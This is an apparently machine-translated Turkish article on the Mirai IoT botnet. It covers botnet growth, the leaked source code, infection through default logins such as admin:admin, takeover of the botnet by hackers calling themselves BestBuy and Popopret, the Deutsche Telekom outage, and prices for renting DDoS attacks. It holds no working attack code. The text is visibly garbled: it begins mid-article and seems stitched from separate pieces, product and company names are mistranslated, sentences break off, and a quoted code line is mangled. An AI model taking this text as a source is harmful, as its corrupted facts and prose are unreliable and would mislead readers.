Ama doğru tahmin etmediler. The Atlantic'ten bir gazeteci bir sunucu kiraladı ve ekmek kızartma makinesi gibi görünen bir program yazdı. Bir “ev aletine” ilk saldırı 40 dakika sonra gerçekleşti! Sonraki 11 saat içinde ekmek kızartma makinesi 300'den fazla kez saldırıya uğradı. Gerçek şu ki, botnet'ler benzeri görülmemiş boyutlara ulaştı ve onlar için IPv4 adres alanı çok küçük. Dahası, bilgisayar korsanlarının savunmasız cihazları manuel olarak aramadıklarını hatırlamakta fayda var; bu, botnet üyeleri tarafından yapılıyor. Ve yeni dönüştürülen her "çalışan" da kurban aramaya başladığından, botnet katlanarak büyüyor.

Geometrik olarak? Yani bir yıl içinde botnet'ler trilyonlarca cihazı mı içerecek?!

Elbette hayır 😀 Gerçek şu ki IoT cihazlarının sayısı sınırlıdır. Ve bu zaten oldukça acil bir sorun. Mirai'nin yazarı, ağındaki maksimum cihaz sayısının 380 bin olduğunu, çeşitli saldırılardan sonra kullanıcılar ve sağlayıcıların koruyucu önlemler almaya başlamasıyla cihaz sayısının 300 bine düştüğünü ve düşmeye devam ettiğini itiraf ediyor.

Mirai'nin kaynak kodu kamuya açıklandıktan sonra çok sayıda hacker onu kullanmaya başladı. Şu anda, bu Truva Atı'nı temel alan büyük botnet'lerin sayısı yaklaşık 52'dir. Her cihazın yalnızca bir ağa ait olabileceğini açıklığa kavuşturmak gerekir; kötü amaçlı yazılım, cihazı ele geçirdikten hemen sonra onu yeniden enfeksiyona karşı korur. Bir cihazın başka bir "sahibine" aktarılabileceği tek durum, cihazın yeniden başlatılmasıdır. Uzmanlara göre, yeniden başlatmanın ardından cihaza 30 saniye içinde tekrar virüs bulaşacak.

Yani Mirai'nin etkisi mi azalıyor?

Evet. Bilgisayar korsanları, büyümek yerine (önlemler nedeniyle) azalan sınırlı miktardaki kaynaklar için savaşmak zorunda kalıyor. Bilgisayar korsanlarının son derece bencil olması (örneğin, botnet'in büyük bir komuta ve kontrol (C&C) sunucusu basitçe kapatıldıktan sonra) artık botnet'in işe yaramaz ve yeni saldırılara karşı dayanıklı olduğunun ortaya çıkmasıyla durum daha da karmaşık hale geldi. Her biri yeni ağ Mirai tabanlı saldırılar öncekilerden daha küçük olacak ve yalnızca düşük güçlü saldırılar gerçekleştirebilecek. Örneğin ABD seçimleri sırasında Clinton ve Trump'ın internet sitelerine zayıf saldırılar gerçekleştirildi. Herhangi bir hasara neden olmadılar ve kimse onları fark etmedi (bu Truva atının eylemlerini özel olarak izleyen şirket dışında).

Apaçık. Bu Truva Atı hakkında başka hangi ilginç bilgiler biliniyor?

Gafgyt, Lizkebab, BASHLITE, Bash0day, Bashdoor ve Torlus isimleriyle bilinen bir başka Trojan'ın devamı niteliğindedir. İkincisi, aynı Level 3 Communications'a göre yaklaşık bir milyon web kamerasına boyun eğdirebildiği biliniyor. Çoğu botnet'in Mirai'nin saf bir kopyasını değil, kendi değiştirilmiş sürümlerini (ki bu oldukça beklenen) kullandığı da bilinmektedir.

Bir diğer ilginç gerçek RuNet kullanıcılarının bulunduğu yer kaynak kodu Mirai Rusça izleme - cnc/admin.go dosyasında Rusça yorumların bir çıktısı vardır:

cnc/admin.go: this.conn.Write(byte(“\033))

Öte yandan, daha çok bir şakaya benziyor - "hesapları kontrol etmek...", "hesapları kontrol etmek" ifadesinin açık bir kopyasıdır (makine çevirisi?).

Geçen ay büyük sitelere saldırılar gerçekleşti: heyecan veya bunları geçici olarak devre dışı bırakan Spotify. Bunun için bir botnet kullanıldı Miray 400-500 bin Nesnelerin İnterneti cihazını birleştiriyor. Artık Motherboard gazetecileri, iki bilgisayar korsanının botnet'in kontrolünü ele geçirip yeni bir versiyonunu yaratmayı başardığını öğrendi; zaten bir milyon cihazı birleştiriyor. Alman sağlayıcının aboneleri gücünü deneyimledi Alman Telekom, geçen hafta sonu ağı kapalı olan.

Mirai için avlanma

Gazeteciler bu iki gizemli bilgisayar korsanından biriyle konuşmayı başardılar; kendisi BestBuy takma adını kullanıyor. Şifreli bir çevrimiçi sohbette onlara, Mirai'nin kontrolü için bilgisayar korsanları arasında gerçek bir mücadele olduğunu söyledi. Yakın zamanda yazılımında bir güvenlik açığı keşfedildi. Kullanımı, hızıyla birleştiğinde BestBuy ve ortağı Popopret'in botnet'in çoğunun kontrolünü ele geçirmesine ve ona yeni cihazlar eklemesine olanak tanıyabilir.

Uzmanlarımız daha önce Mirai botnet kodunu incelemişti; bunun özellikle Nesnelerin İnterneti cihazları için yaratılmadığı ortaya çıktı. Kötü amaçlı yazılım, varsayılan oturum açma bilgileri ve parolalarla (yönetici:yönetici, kök:parola vb.) ağa bağlı cihazları arar. Bu, teorik olarak ev bilgisayarları ve sunucular veya yönlendiriciler de dahil olmak üzere herhangi bir cihazı içerebileceği anlamına gelir.

Nesnelerin İnterneti cihazları- genellikle yönlendiriciler - dahil Mirai botnet'i yeniden başlatılana kadar - daha sonra solucan hafızasından silinir. Bununla birlikte, botnet sürekli olarak İnternet'i savunmasız cihazlara karşı tarar, böylece "iyileştirilmiş" bir cihaz hızlı bir şekilde tekrar İnternet'in parçası haline gelebilir. Bilgisayar korsanları arasında mümkün olduğu kadar çok cihaza virüs bulaştıran ilk kişi olmak için gerçek bir yarış var.

Yeni Mirai'nin yaratıcılarının rakiplerini nasıl geçmeyi başardıkları hakkında hiçbir bilgi yok. Ancak gazetecilere, daha önce botnet'in parçası olan cihazlar da dahil olmak üzere potansiyel olarak savunmasız cihazları taramak için kendi botnet'lerini kullandıklarını söylediler.

BestBuy, "Neden Mirai'nin Mirai'yi avlayıp orijinali yutmasına izin vermiyoruz" diyor.

Sadece Mirai değil

Ancak yeni botnet yalnızca eski Mirai cihazlarını ve varsayılan parolalara sahip yeni cihazları absorbe etmedi. Yaratıcıları ayrıca IoT cihazlarının donanım yazılımındaki 0 ​​günlük güvenlik açıklarından da yararlanıyor. Uzmanlar daha önce bu tür "birleşik" botnet'lerin yakında ortaya çıkacağını öngörmüştü.

Onlara karşı mücadele gözle görülür şekilde daha karmaşık hale geliyor - Mirai'ye karşı koymak için son cihazın kullanıcısının yalnızca giriş ve şifreyi değiştirmesi gerekiyorsa, o zaman gadget'ın güvenlik açıklarıyla kendi başına baş edemeyecek. .

700 Gbps'de DDoS

Hackerlar BestBuy ve Popopret hizmetlerinin reklamını yapmaya başladılar; Yeni sürüm Mirai, XMPP/Jabber aracılığıyla spam mesajlar gönderiyor,

Bilgisayar korsanına göre müşterilere çeşitli hizmet paketleri sunuyorlar. Daha ucuz olanı buna değer $2 000 - bu para karşılığında müşteriler şuradan kiralayabilir: 20.000 ila 25.000 botnet düğümleri, saldırılar arasında on beş dakikalık bir ara süresiyle iki haftaya kadar nöbetçileri çalıştırabilir. Arka $15 000 veya $20 000 müşteriler artık 600.000 botun 30 veya 15 dakikalık aralarla iki saatlik saldırılar başlatmasını sağlama fırsatına sahip. İkinci durumda saldırı gücü 700 Gbit/sn yada daha fazla.

Umutlar

Emniyet Nesnelerin İnterneti cihazları genellikle oldukça düşük bir seviyededir - bu, satıcıların çoğu zaman ek önlemlerin uygulanmasıyla ilgilenmemesiyle açıklanmaktadır. bilgi Güvenliği. Ürünlerinin kullanım kolaylığının reklamını yapıyorlar ancak tüm ek güvenlik önlemleri kısıtlamalar getiriyor ve kaynak gerektiriyor.

Yukarıda belirtildiği gibi, yalnızca son cihaz geliştiricileri veya bunları sağlayan sağlayıcılar (yönlendiriciler durumunda) kullanıcıları daha gelişmiş botnet'lerden koruyabilir. Mirai'nin yeni versiyonunun saldırısından etkilenen Alman sağlayıcı Deutsche Telekom, savunmasız yönlendiricilerin tedarikçileriyle "iş ilişkilerini yeniden gözden geçireceğini" zaten duyurdu. Hız limanı, şirket Arkadyan.

Sonuçta, bir yandan sağlayıcılar tarafından cihazların daha sıkı kontrol edilmesi, diğer yandan IoT için standartların ve düzenleyici belgelerin geliştirilmesi yoluyla Nesnelerin İnterneti'nin güvenlik düzeyini artırmak mümkün olacaktır. . Otomatik proses kontrol sistemlerinin güvenliğini sağlamak için birçok ülkede benzer önlemler halihazırda alınmıştır. Bu yöndeki ilk adımlar zaten atıldı; örneğin, birkaç BT tedarikçisi Eylül ayında şu adı taşıyan bir belge yayınladı: Endüstriyel internet güvenliğiÇerçeve (IISF)- Nesnelerin İnterneti'nin “endüstriyel İnternet”in bir parçası olarak değerlendirilmesini önermektedir.

Ancak sorun hala nihai olarak çözülmekten çok uzaktır ve bilgisayar korsanları BestBuy ve Popopret büyük ölçekte tekel elde edebilir DDoS saldırılarıçevrimiçi. Bu oldukça üzücü bir gerçek, ancak bilgisayar korsanlarının kendileri, bir konuşma sırasında Anakart faaliyetlerine yalnızca kâr odaklı değil aynı zamanda ahlaki ilkeler doğrultusunda yön verileceğini ilan etti. Yani BestBuy, müşterilerin kritik altyapıyla çalışan şirketlerin IP adreslerine saldırmasına izin vermeyeceklerini söyledi.




Tepe